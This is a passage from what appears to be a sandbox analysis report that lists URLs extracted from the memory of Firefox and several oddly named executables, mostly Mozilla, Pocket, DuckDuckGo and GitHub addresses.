Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227323210.000001FABA23E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227918892.000001FABA281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3226671698.000001FABA000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB60AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB60AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2736000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000002D.00000002.3323100316.000001FAAA811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000002D.00000003.3226961322.000001FABA21D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3547489563.000001FAB9E70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227593237.000001FABA260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3547609952.000001FAB9F2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227323210.000001FABA23E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227918892.000001FABA281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3226671698.000001FABA000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3092709132.00000000055AF000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3093121847.000000000553D000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252726708.0000000005F90000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3092709132.00000000055AF000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3093121847.000000000553D000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252726708.0000000005F90000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3092709132.00000000055AF000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3093121847.000000000553D000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252726708.0000000005F90000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3547489563.000001FAB9E70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000002D.00000002.3654405899.000001FABA665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3651913103.000001FABA52E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000002D.00000002.3654405899.000001FABA665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.0000016918312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000002D.00000002.3665438592.000001FABB503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3660210595.000001FABACC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_scheduleStartupIdleTasks/task/observer/
Source: firefox.exe, 0000002D.00000002.3323100316.000001FAAA86B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3369538416.000001FAB69B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.0000016918312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD50C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD50C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.000001691832F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD50C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/common/Actions.sys.m
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morechrome://global/skin/icons/pocket.svg
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recent-activity-header
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD50C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsresource://activity-stream/lib/TopSitesFeed.jsmimprovesearch.no
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000002D.00000002.3646941029.000001FABA403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC2948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC2948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227323210.000001FABA23E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3226671698.000001FABA000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotshttps://screenshots.firefox.com/
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/browser:purge-session-history
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/browser:purge-session-historyKey
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000002D.00000002.3323100316.000001FAAA811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000002D.00000002.3323100316.000001FAAA811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881P5
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000002D.00000002.3691338549.000001FAC2850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000002D.00000002.3497045795.000001FAB86DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
